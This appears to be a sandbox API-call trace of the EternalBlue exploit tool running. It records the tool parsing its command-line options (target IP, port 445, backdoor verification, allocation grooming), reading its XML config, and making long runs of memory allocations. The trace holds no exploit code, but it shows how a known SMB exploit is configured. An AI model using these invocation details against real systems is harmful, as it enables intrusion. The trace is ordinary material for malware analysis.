[0264.209] free (_Block=0x0)
[0264.209] _access (_FileName="Eternalblue-2.2.0.xml", _AccessMode=0) returned 0
[0264.215] free (_Block=0x1b2c38)
[0264.215] realloc (_Block=0x1b2d38, _Size=0x8) returned 0x1b2d38
[0264.215] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0264.215] strlen (_Str="--TargetIp") returned 0xa
[0264.215] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.215] strlen (_Str="--TargetIp") returned 0xa
[0264.215] strcmp (_Str1="192.168.0.155", _Str2="--") returned 1
[0264.216] strlen (_Str="192.168.0.155") returned 0xd
[0264.216] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4
[0264.216] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0264.216] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0264.216] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.216] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0264.216] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0264.216] strlen (_Str="--NetworkTimeout") returned 0x10
[0264.216] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.216] strlen (_Str="--NetworkTimeout") returned 0x10
[0264.216] strcmp (_Str1="60", _Str2="--") returned 1
[0264.216] strlen (_Str="60") returned 0x2
[0264.216] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0264.216] strlen (_Str="--TargetPort") returned 0xc
[0264.216] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.216] strlen (_Str="--TargetPort") returned 0xc
[0264.216] strcmp (_Str1="445", _Str2="--") returned 1
[0264.216] strlen (_Str="445") returned 0x3
[0264.216] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0264.216] strlen (_Str="--VerifyTarget") returned 0xe
[0264.216] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.216] strlen (_Str="--VerifyTarget") returned 0xe
[0264.216] strcmp (_Str1="True", _Str2="--") returned 1
[0264.216] strlen (_Str="True") returned 0x4
[0264.217] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0264.217] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0264.217] strlen (_Str="--VerifyBackdoor") returned 0x10
[0264.217] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.217] strlen (_Str="--VerifyBackdoor") returned 0x10
[0264.217] strcmp (_Str1="True", _Str2="--") returned 1
[0264.217] strlen (_Str="True") returned 0x4
[0264.217] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0264.217] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0264.217] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0264.217] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.217] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0264.217] strcmp (_Str1="3", _Str2="--") returned 1
[0264.217] strlen (_Str="3") returned 0x1
[0264.217] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0264.217] strlen (_Str="--GroomAllocations") returned 0x12
[0264.217] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.217] strlen (_Str="--GroomAllocations") returned 0x12
[0264.217] strcmp (_Str1="12", _Str2="--") returned 1
[0264.217] strlen (_Str="12") returned 0x2
[0264.217] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0264.217] strlen (_Str="--OutConfig") returned 0xb
[0264.217] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.217] strlen (_Str="--OutConfig") returned 0xb
[0264.217] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="--") returned 1
[0264.218] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0264.218] strncmp (_Str1="Et", _Str2="--", _MaxCount=0x2) returned 24
[0264.218] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0264.218] strlen (_Str="--TargetIp") returned 0xa
[0264.218] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.218] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1
[0264.218] strlen (_Str="--TargetIp") returned 0xa
[0264.218] strcmp (_Str1="192.168.0.155", _Str2="--") returned 1
[0264.218] strlen (_Str="192.168.0.155") returned 0xd
[0264.218] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4
[0264.218] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0264.218] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0264.218] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.218] strcmp (_Str1="--DaveProxyPort=0", _Str2="-?") returned -1
[0264.218] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0264.219] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0264.219] strlen (_Str="--NetworkTimeout") returned 0x10
[0264.219] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.219] strcmp (_Str1="--NetworkTimeout", _Str2="-?") returned -1
[0264.219] strlen (_Str="--NetworkTimeout") returned 0x10
[0264.219] strcmp (_Str1="60", _Str2="--") returned 1
[0264.219] strlen (_Str="60") returned 0x2
[0264.219] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0264.219] strlen (_Str="--TargetPort") returned 0xc
[0264.219] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.219] strcmp (_Str1="--TargetPort", _Str2="-?") returned -1
[0264.219] strlen (_Str="--TargetPort") returned 0xc
[0264.220] strcmp (_Str1="445", _Str2="--") returned 1
[0264.220] strlen (_Str="445") returned 0x3
[0264.220] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0264.220] strlen (_Str="--VerifyTarget") returned 0xe
[0264.220] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.220] strcmp (_Str1="--VerifyTarget", _Str2="-?") returned -1
[0264.220] strlen (_Str="--VerifyTarget") returned 0xe
[0264.220] strcmp (_Str1="True", _Str2="--") returned 1
[0264.220] strlen (_Str="True") returned 0x4
[0264.220] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0264.220] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0264.220] strlen (_Str="--VerifyBackdoor") returned 0x10
[0264.220] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.221] strcmp (_Str1="--VerifyBackdoor", _Str2="-?") returned -1
[0264.221] strlen (_Str="--VerifyBackdoor") returned 0x10
[0264.221] strcmp (_Str1="True", _Str2="--") returned 1
[0264.221] strlen (_Str="True") returned 0x4
[0264.221] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0264.221] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0264.221] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0264.221] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.221] strcmp (_Str1="--MaxExploitAttempts", _Str2="-?") returned -1
[0264.221] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0264.221] strcmp (_Str1="3", _Str2="--") returned 1
[0264.221] strlen (_Str="3") returned 0x1
[0264.221] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0264.221] strlen (_Str="--GroomAllocations") returned 0x12
[0264.221] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.222] strcmp (_Str1="--GroomAllocations", _Str2="-?") returned -1
[0264.222] strlen (_Str="--GroomAllocations") returned 0x12
[0264.222] strcmp (_Str1="12", _Str2="--") returned 1
[0264.222] strlen (_Str="12") returned 0x2
[0264.222] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0264.222] strlen (_Str="--OutConfig") returned 0xb
[0264.222] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0264.222] strcmp (_Str1="--OutConfig", _Str2="-?") returned -1
[0264.222] strlen (_Str="--OutConfig") returned 0xb
[0264.222] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="--") returned 1
[0264.222] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0264.222] strncmp (_Str1="Et", _Str2="--", _MaxCount=0x2) returned 24
[0264.223] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0264.223] calloc (_Count=0x16, _Size=0x1) returned 0x1b2c38
[0264.223] free (_Block=0x1b2c88)
[0264.223] free (_Block=0x0)
[0264.223] free (_Block=0x0)
[0264.224] free (_Block=0x1b1428)
[0264.224] free (_Block=0x1b2ca8)
[0264.224] free (_Block=0x1b2cc0)
[0264.224] free (_Block=0x1b2d10)
[0264.224] free (_Block=0x1b2d28)
[0264.224] free (_Block=0x1b2cf8)
[0264.224] free (_Block=0x1bdea8)
[0264.224] free (_Block=0x1bd6a8)
[0264.224] free (_Block=0x1bd690)
[0264.224] free (_Block=0x1bde78)
[0264.224] free (_Block=0x1b2da8)
[0264.224] free (_Block=0x1bd628)
[0264.224] free (_Block=0x1bde88)
[0264.224] free (_Block=0x1bd650)
[0264.224] free (_Block=0x1bd668)
[0264.224] free (_Block=0x0)
[0264.224] free (_Block=0x0)
[0264.224] free (_Block=0x1b2d58)
[0264.224] free (_Block=0x1b2d38)
[0264.224] free (_Block=0x1b2d48)
[0264.224] free (_Block=0x1b2cd0)
[0264.224] free (_Block=0x0)
[0264.225] free (_Block=0x0)
[0264.225] free (_Block=0x1b2c58)
[0264.225] strcmp (_Str1="Eternalblue-2.2.0.xml", _Str2="stdout") returned -1
[0264.225] _open (_FileName="Eternalblue-2.2.0.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.xml"), _OpenFlag=32768) returned 3
[0264.226] _fstat (_FileHandle=3, _Stat=0xc5f958) returned 0
[0264.236] calloc (_Count=0x1de2, _Size=0x1) returned 0x1bde78
[0264.237] _read (in: _FileHandle=3, _DstBuf=0x1bde78, _MaxCharCount=0x1de1 | out: _DstBuf=0x1bde78*) returned 7649
[0264.238] strcmp (_Str1="Eternalblue-2.2.0.xml", _Str2="stdout") returned -1
[0264.238] _close (_FileHandle=3) returned 0
[0264.238] WaitForSingleObject (hHandle=0x40, dwMilliseconds=0xffffffff) returned 0x0
[0264.238] strlen (_Str="\n\n \n \n 0\n \n \n 60\n \n \n \n 445\n \n \n true\n \n \n true\n \n \n 3\n \n \n 12\n \n \n \n WIN72K8R2\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n") returned 0x1de1
[0264.238] malloc (_Size=0x1d0) returned 0x1bfc68
[0264.239] GetCurrentThreadId () returned 0xf94
[0264.239] malloc (_Size=0x1c) returned 0x1bd648
[0264.239] malloc (_Size=0x18) returned 0x1b2c58
[0264.239] malloc (_Size=0xa00) returned 0x10b0048
[0264.239] malloc (_Size=0x80) returned 0x1b2c78
[0264.240] malloc (_Size=0x14) returned 0x1b2d00
[0264.240] malloc (_Size=0x28) returned 0x1b2d20
[0264.240] malloc (_Size=0x28) returned 0x1b2d50
[0264.240] malloc (_Size=0x28) returned 0x1b2d80
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] malloc (_Size=0x24) returned 0x1bfe40
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] malloc (_Size=0x14) returned 0x1bfe70
[0264.240] GetCurrentThreadId () returned 0xf94
[0264.240] malloc (_Size=0x2002) returned 0x10b0a50
[0264.241] malloc (_Size=0x3c) returned 0x1bfe90
[0264.241] malloc (_Size=0x400) returned 0x10b2a60
[0264.241] malloc (_Size=0x14) returned 0x1bfed8
[0264.241] GetCurrentThreadId () returned 0xf94
[0264.242] malloc (_Size=0xa) returned 0x1bd690
[0264.242] malloc (_Size=0xa) returned 0x1bd6a8
[0264.242] malloc (_Size=0x60) returned 0x1bfef8
[0264.242] malloc (_Size=0x4) returned 0x1b2db0
[0264.242] malloc (_Size=0x6) returned 0x1b1428
[0264.243] malloc (_Size=0x2c) returned 0x1bff60
[0264.243] malloc (_Size=0x4) returned 0x1bff98
[0264.243] malloc (_Size=0x5) returned 0x1bffa8
[0264.243] free (_Block=0x1bff98)
[0264.243] free (_Block=0x1bffa8)
[0264.243] free (_Block=0x1bff60)
[0264.243] malloc (_Size=0x28) returned 0x1bff60
[0264.243] malloc (_Size=0x14) returned 0x1bff90
[0264.243] malloc (_Size=0xdc) returned 0x10b2e68
[0264.243] malloc (_Size=0x2c) returned 0x1bffb0
[0264.244] malloc (_Size=0x3c) returned 0x10b2f50
[0264.244] malloc (_Size=0x7) returned 0x10b2f98
[0264.244] malloc (_Size=0x18) returned 0x10b2fa8
[0264.244] malloc (_Size=0x9) returned 0x1bd6c0
[0264.244] malloc (_Size=0x30) returned 0x10b2fc8
[0264.244] malloc (_Size=0x5) returned 0x10b3000
[0264.244] malloc (_Size=0x3c) returned 0x10b3010
[0264.244] malloc (_Size=0xc) returned 0x1bd6d8
[0264.244] malloc (_Size=0x30) returned 0x10b3058
[0264.245] malloc (_Size=0x8) returned 0x10b3090
[0264.245] malloc (_Size=0x3c) returned 0x10b30a0
[0264.245] malloc (_Size=0x6) returned 0x10b30e8
[0264.245] malloc (_Size=0x30) returned 0x10b30f8
[0264.245] malloc (_Size=0xe) returned 0x1bd6f0
[0264.245] malloc (_Size=0x3c) returned 0x10b3130
[0264.245] malloc (_Size=0x6) returned 0x10b3178
[0264.245] malloc (_Size=0x30) returned 0x10b3188
[0264.245] malloc (_Size=0xe) returned 0x1bd708
[0264.245] malloc (_Size=0x3c) returned 0x10b31c0
[0264.245] malloc (_Size=0x8) returned 0x10b3208
[0264.245] malloc (_Size=0x30) returned 0x10b3218
[0264.245] malloc (_Size=0x3) returned 0x10b3250
[0264.245] malloc (_Size=0x3c) returned 0x10b3260
[0264.246] malloc (_Size=0x29) returned 0x10b32a8
[0264.246] malloc (_Size=0x3c) returned 0x10b32e0
[0264.246] malloc (_Size=0x4) returned 0x10b3328
[0264.246] malloc (_Size=0x14) returned 0x10b3338
[0264.246] malloc (_Size=0x3c) returned 0x10b3358
[0264.246] malloc (_Size=0x10) returned 0x1bd720
[0264.246] malloc (_Size=0x3c) returned 0x10b33a0
[0264.246] malloc (_Size=0x6) returned 0x10b33e8
[0264.246] malloc (_Size=0x14) returned 0x10b33f8
[0264.246] malloc (_Size=0x3c) returned 0x10b3418
[0264.246] malloc (_Size=0xa) returned 0x1bd738
[0264.246] malloc (_Size=0x30) returned 0x10b3460
[0264.247] malloc (_Size=0x7) returned 0x10b34b0
[0264.247] malloc (_Size=0x3c) returned 0x10b3898
[0264.247] malloc (_Size=0x5) returned 0x10b34c0
[0264.247] malloc (_Size=0x30) returned 0x10b38e0
[0264.247] malloc (_Size=0x5) returned 0x10b34d0
[0264.247] malloc (_Size=0x3c) returned 0x10b3918
[0264.247] malloc (_Size=0x8) returned 0x10b34e0
[0264.247] malloc (_Size=0x30) returned 0x10b3960
[0264.247] malloc (_Size=0x5) returned 0x10b34f0
[0264.247] malloc (_Size=0x3c) returned 0x10b3998
[0264.247] malloc (_Size=0xe) returned 0x1bd750
[0264.247] malloc (_Size=0x30) returned 0x10b39e0
[0264.247] malloc (_Size=0xc) returned 0x1bd768
[0264.247] malloc (_Size=0x3c) returned 0x10b3a18
[0264.247] malloc (_Size=0x27) returned 0x10b3a60
[0264.248] malloc (_Size=0x3c) returned 0x10b3a90
[0264.248] malloc (_Size=0x8) returned 0x10b3500
[0264.248] malloc (_Size=0x3c) returned 0x10b3ad8
[0264.248] malloc (_Size=0x8) returned 0x10b3510
[0264.248] malloc (_Size=0x3c) returned 0x10b3b38
[0264.248] malloc (_Size=0x2) returned 0x10b3520
[0264.248] malloc (_Size=0x3c) returned 0x10b3b80
[0264.248] malloc (_Size=0x6) returned 0x10b3530
[0264.248] malloc (_Size=0x3c) returned 0x10b3bc8
[0264.248] malloc (_Size=0x6) returned 0x10b3540
[0264.248] malloc (_Size=0x3c) returned 0x10b3c10
[0264.249] malloc (_Size=0xa) returned 0x1bd780
[0264.249] malloc (_Size=0x30) returned 0x10b4b20
[0264.249] malloc (_Size=0x5) returned 0x10b3550
[0264.249] malloc (_Size=0x3c) returned 0x10b3c58
[0264.249] malloc (_Size=0x4) returned 0x10b3560
[0264.249] malloc (_Size=0x30) returned 0x10b4b58
[0264.249] malloc (_Size=0x5) returned 0x10b3570
[0264.249] malloc (_Size=0x3c) returned 0x10b3ca0
[0264.249] malloc (_Size=0xf) returned 0x1bd798
[0264.249] malloc (_Size=0x30) returned 0x10b4b90
[0264.249] malloc (_Size=0xc) returned 0x1bd7b0
[0264.249] malloc (_Size=0x3c) returned 0x10b3ce8
[0264.249] malloc (_Size=0x48) returned 0x10b4bc8
[0264.250] malloc (_Size=0x3c) returned 0x10b3d30
[0264.250] malloc (_Size=0x8) returned 0x10b3580
[0264.250] malloc (_Size=0x3c) returned 0x10b3d78
[0264.250] malloc (_Size=0x8) returned 0x10b3590
[0264.250] malloc (_Size=0x3c) returned 0x10b3dc0
[0264.250] malloc (_Size=0x3) returned 0x10b35a0
[0264.250] malloc (_Size=0x3c) returned 0x10b3e08
[0264.250] malloc (_Size=0x6) returned 0x10b35b0
[0264.250] malloc (_Size=0x3c) returned 0x10b3e50
[0264.250] malloc (_Size=0x6) returned 0x10b35c0
[0264.250] malloc (_Size=0x3c) returned 0x10b3e98
[0264.251] malloc (_Size=0xa) returned 0x1bd7c8
[0264.251] malloc (_Size=0x30) returned 0x10b4c18
[0264.251] malloc (_Size=0x8) returned 0x10b35d0
[0264.251] malloc (_Size=0x3c) returned 0x10b3ee0
[0264.251] malloc (_Size=0x15) returned 0x10b4c50
[0264.251] malloc (_Size=0x30) returned 0x10b4c70
[0264.251] malloc (_Size=0x5) returned 0x10b35e0
[0264.251] malloc (_Size=0x3c) returned 0x10b3f28
[0264.251] malloc (_Size=0x5) returned 0x10b35f0
[0264.251] malloc (_Size=0x30) returned 0x10b4ca8
[0264.251] malloc (_Size=0x5) returned 0x10b3600
[0264.251] malloc (_Size=0x3c) returned 0x10b3f70
[0264.251] malloc (_Size=0x9) returned 0x1bd7e0
[0264.251] malloc (_Size=0x30) returned 0x10b4cf8
[0264.252] malloc (_Size=0xc) returned 0x1bd7f8
[0264.252] malloc (_Size=0x3c) returned 0x10b3fb8
[0264.252] malloc (_Size=0x12) returned 0x10b54e0
[0264.252] malloc (_Size=0x3c) returned 0x10b4000
[0264.252] malloc (_Size=0x6) returned 0x10b3610
[0264.252] malloc (_Size=0x3c) returned 0x10b4048
[0264.252] malloc (_Size=0xa) returned 0x1bd810
[0264.252] malloc (_Size=0x30) returned 0x10b4d30
[0264.252] malloc (_Size=0x8) returned 0x10b3620
[0264.252] malloc (_Size=0x3c) returned 0x10b4090
[0264.253] malloc (_Size=0xc) returned 0x1bd828
[0264.253] malloc (_Size=0x30) returned 0x10b4d68
[0264.253] malloc (_Size=0x5) returned 0x10b3630
[0264.253] malloc (_Size=0x3c) returned 0x10b40d8
[0264.253] malloc (_Size=0x8) returned 0x10b3640
[0264.253] malloc (_Size=0x30) returned 0x10b4da0
[0264.253] malloc (_Size=0x5) returned 0x10b3650
[0264.253] malloc (_Size=0x3c) returned 0x10b4120
[0264.253] malloc (_Size=0xb) returned 0x1bd840
[0264.253] malloc (_Size=0x30) returned 0x10b4dd8
[0264.254] malloc (_Size=0xc) returned 0x1bd858
[0264.254] malloc (_Size=0x3c) returned 0x10b4168
[0264.254] malloc (_Size=0x34) returned 0x10b5500
[0264.254] malloc (_Size=0x3c) returned 0x10b41b0
[0264.254] malloc (_Size=0x8) returned 0x10b3660
[0264.254] malloc (_Size=0x3c) returned 0x10b41f8
[0264.254] malloc (_Size=0x8) returned 0x10b3670
[0264.254] malloc (_Size=0x3c) returned 0x10b4240
[0264.254] malloc (_Size=0x4) returned 0x10b3680
[0264.254] malloc (_Size=0x3c) returned 0x10b4288
[0264.254] malloc (_Size=0x6) returned 0x10b3690
[0264.254] malloc (_Size=0x3c) returned 0x10b42d0
[0264.255] malloc (_Size=0x6) returned 0x10b36a0
[0264.255] malloc (_Size=0x3c) returned 0x10b4318
[0264.255] malloc (_Size=0xa) returned 0x1bd870
[0264.255] malloc (_Size=0x30) returned 0x10b4e10
[0264.255] malloc (_Size=0x8) returned 0x10b36b0
[0264.255] malloc (_Size=0x3c) returned 0x10b4360
[0264.255] malloc (_Size=0x1c) returned 0x10b5540
[0264.255] malloc (_Size=0x30) returned 0x10b4e48
[0264.255] malloc (_Size=0x5) returned 0x10b36c0
[0264.255] malloc (_Size=0x3c) returned 0x10b43a8
[0264.256] malloc (_Size=0x8) returned 0x10b36d0
[0264.256] malloc (_Size=0x30) returned 0x10b4e80
[0264.256] malloc (_Size=0x5) returned 0x10b36e0
[0264.256] malloc (_Size=0x3c) returned 0x10b43f0
[0264.256] malloc (_Size=0xd) returned 0x1bd888
[0264.256] malloc (_Size=0x30) returned 0x10b4eb8
[0264.256] malloc (_Size=0xc) returned 0x1bd8a0
[0264.256] malloc (_Size=0x3c) returned 0x10b4438
[0264.256] malloc (_Size=0x55) returned 0x10b5568
[0264.256] malloc (_Size=0x3c) returned 0x10b4480
[0264.256] malloc (_Size=0x8) returned 0x10b36f0
[0264.256] malloc (_Size=0x3c) returned 0x10b44c8
[0264.257] malloc (_Size=0x8) returned 0x10b3700
[0264.257] malloc (_Size=0x3c) returned 0x10b4510
[0264.257] malloc (_Size=0x5) returned 0x10b3710
[0264.257] malloc (_Size=0x3c) returned 0x10b4558
[0264.257] malloc (_Size=0x6) returned 0x10b3720
[0264.257] malloc (_Size=0x3c) returned 0x10b45a0
[0264.257] malloc (_Size=0x6) returned 0x10b3730
[0266.475] malloc (_Size=0x3c) returned 0x10b45e8
[0266.475] malloc (_Size=0xa) returned 0x1bd8b8
[0266.475] malloc (_Size=0x30) returned 0x10b4ef0
[0266.475] malloc (_Size=0x8) returned 0x10b3740
[0266.475] malloc (_Size=0x3c) returned 0x10b4630
[0266.475] malloc (_Size=0x1e) returned 0x10b55c8
[0266.475] malloc (_Size=0x30) returned 0x10b4f28
[0266.476] malloc (_Size=0x5) returned 0x10b3750
[0266.476] malloc (_Size=0x3c) returned 0x10b4678
[0266.476] malloc (_Size=0x8) returned 0x10b3760
[0266.476] malloc (_Size=0x30) returned 0x10b4f60
[0266.476] malloc (_Size=0x5) returned 0x10b3770
[0266.476] malloc (_Size=0x3c) returned 0x10b46c0
[0266.476] malloc (_Size=0xf) returned 0x1bd8d0
[0266.476] malloc (_Size=0x30) returned 0x10b4f98
[0266.476] malloc (_Size=0xc) returned 0x1bd8e8
[0266.476] malloc (_Size=0x3c) returned 0x10b4708
[0266.476] malloc (_Size=0x80) returned 0x10b55f0
[0266.476] malloc (_Size=0x3c) returned 0x10b4750
[0266.476] malloc (_Size=0x8) returned 0x10b3780
[0266.476] malloc (_Size=0x3c) returned 0x10b4798
[0266.476] malloc (_Size=0x8) returned 0x10b3790
[0266.477] malloc (_Size=0x3c) returned 0x10b47e0
[0266.477] malloc (_Size=0x5) returned 0x10b37a0
[0266.477] malloc (_Size=0x3c) returned 0x10b4828
[0266.477] malloc (_Size=0x6) returned 0x10b37b0
[0266.477] malloc (_Size=0x3c) returned 0x10b4870
[0266.477] malloc (_Size=0x6) returned 0x10b37c0
[0266.477] malloc (_Size=0x3c) returned 0x10b48b8
[0266.477] malloc (_Size=0xa) returned 0x1bd900
[0266.477] malloc (_Size=0x30) returned 0x10b4fd0
[0266.477] malloc (_Size=0x8) returned 0x10b37d0
[0266.477] malloc (_Size=0x3c) returned 0x10b4900
[0266.477] malloc (_Size=0x21) returned 0x10b5678
[0266.477] malloc (_Size=0x30) returned 0x10b5008
[0266.477] malloc (_Size=0x5) returned 0x10b37e0
[0266.478] malloc (_Size=0x3c) returned 0x10b4948
[0266.478] malloc (_Size=0x4) returned 0x10b37f0
[0266.478] malloc (_Size=0x30) returned 0x10b5040
[0266.478] malloc (_Size=0x5) returned 0x10b3800
[0266.478] malloc (_Size=0x3c) returned 0x10b4990
[0266.478] malloc (_Size=0x13) returned 0x10b56a8
[0266.478] malloc (_Size=0x30) returned 0x10b5078
[0266.478] malloc (_Size=0xc) returned 0x1bd918
[0266.478] malloc (_Size=0x3c) returned 0x10b49d8
[0266.478] malloc (_Size=0x47) returned 0x10b56c8
[0266.478] malloc (_Size=0x3c) returned 0x10b4a20
[0266.478] malloc (_Size=0x8) returned 0x10b3810
[0266.478] malloc (_Size=0x3c) returned 0x10b4a68
[0266.478] malloc (_Size=0x8) returned 0x10b3820
[0266.478] malloc (_Size=0x3c) returned 0x10b4ab0
[0266.479] malloc (_Size=0x2) returned 0x10b3830
[0266.971] malloc (_Size=0x3c) returned 0x10b5730
[0266.972] malloc (_Size=0x6) returned 0x10b3840
[0266.972] malloc (_Size=0x3c) returned 0x10b5778
[0266.972] malloc (_Size=0x6) returned 0x10b3850
[0266.972] malloc (_Size=0x3c) returned 0x10b57c0
[0266.972] malloc (_Size=0xa) returned 0x1bd930
[0266.972] malloc (_Size=0x30) returned 0x10b50b0
[0266.972] malloc (_Size=0x8) returned 0x10b3860
[0266.972] malloc (_Size=0x3c) returned 0x10b5808
[0266.972] malloc (_Size=0x25) returned 0x10b6718
[0266.972] malloc (_Size=0x30) returned 0x10b50e8
[0266.972] malloc (_Size=0x5) returned 0x10b3870
[0266.972] malloc (_Size=0x3c) returned 0x10b5850
[0266.972] malloc (_Size=0x4) returned 0x10b3880
[0266.972] malloc (_Size=0x30) returned 0x10b5120
[0266.972] malloc (_Size=0x5) returned 0x10b6760
[0266.972] malloc (_Size=0x3c) returned 0x10b5898
[0266.972] malloc (_Size=0x11) returned 0x10b6b48
[0266.973] malloc (_Size=0x30) returned 0x10b5158
[0266.973] malloc (_Size=0xc) returned 0x1bd948
[0266.973] malloc (_Size=0x3c) returned 0x10b58e0
[0266.973] malloc (_Size=0x53) returned 0x10b6b68
[0266.973] malloc (_Size=0x3c) returned 0x10b5928
[0266.973] malloc (_Size=0x8) returned 0x10b6770
[0266.973] malloc (_Size=0x3c) returned 0x10b5970
[0266.973] malloc (_Size=0x8) returned 0x10b6780
[0266.973] malloc (_Size=0x3c) returned 0x10b59b8
[0266.973] malloc (_Size=0x3) returned 0x10b6790
[0266.973] malloc (_Size=0x3c) returned 0x10b5a00
[0266.973] malloc (_Size=0x6) returned 0x10b67a0
[0266.973] malloc (_Size=0x3c) returned 0x10b5a48
[0266.973] malloc (_Size=0x6) returned 0x10b67b0
[0266.973] malloc (_Size=0x64) returned 0x10b6bc8
[0266.974] malloc (_Size=0x3c) returned 0x10b5a90
[0266.974] malloc (_Size=0xa) returned 0x1bd960
[0266.974] malloc (_Size=0x30) returned 0x10b5190
[0266.974] malloc (_Size=0x5) returned 0x10b67c0
[0266.974] malloc (_Size=0x3c) returned 0x10b5ad8
[0266.974] malloc (_Size=0x10) returned 0x1bd978
[0266.974] malloc (_Size=0x30) returned 0x10b51c8
[0266.974] malloc (_Size=0x9) returned 0x1bd990
[0266.974] malloc (_Size=0x3c) returned 0x10b5b20
[0266.974] malloc (_Size=0x6) returned 0x10b67d0
[0266.974] malloc (_Size=0x30) returned 0x10b5200
[0266.974] malloc (_Size=0x8) returned 0x10b67e0
[0266.974] malloc (_Size=0x3c) returned 0x10b5b68
[0266.974] malloc (_Size=0x12) returned 0x10b6c38
[0266.974] malloc (_Size=0x30) returned 0x10b5238
[0266.974] malloc (_Size=0x7) returned 0x10b67f0
[0266.974] malloc (_Size=0x3c) returned 0x10b5bb0
[0266.975] malloc (_Size=0x5) returned 0x10b6800
[0266.975] malloc (_Size=0x30) returned 0x10b5270
[0266.975] malloc (_Size=0x5) returned 0x10b6810
[0266.975] malloc (_Size=0x3c) returned 0x10b5bf8
[0266.975] malloc (_Size=0x7) returned 0x10b6820
[0266.975] malloc (_Size=0x30) returned 0x10b52a8
[0266.975] malloc (_Size=0xc) returned 0x1bd9a8
[0266.975] malloc (_Size=0x3c) returned 0x10b5c40
[0266.975] malloc (_Size=0x45) returned 0x10b6c58
[0266.975] free (_Block=0x10b6bc8)
[0266.975] malloc (_Size=0x3c) returned 0x10b5c88
[0266.975] malloc (_Size=0x6) returned 0x10b6830
[0266.975] malloc (_Size=0x14) returned 0x10b6cc0
[0266.975] malloc (_Size=0x3c) returned 0x10b5cd0
[0266.976] malloc (_Size=0xc) returned 0x1bd9c0
[0266.976] malloc (_Size=0x30) returned 0x10b52e0
[0266.976] malloc (_Size=0x8) returned 0x10b6840
[0266.976] malloc (_Size=0x3c) returned 0x10b5d18
[0266.976] malloc (_Size=0x10) returned 0x1bd9d8
[0266.976] malloc (_Size=0x30) returned 0x10b5318
[0266.976] malloc (_Size=0x5) returned 0x10b6850
[0266.976] malloc (_Size=0x3c) returned 0x10b5d60
[0266.976] malloc (_Size=0x7) returned 0x10b6860
[0266.976] malloc (_Size=0x30) returned 0x10b5350
[0266.976] malloc (_Size=0xc) returned 0x1bd9f0
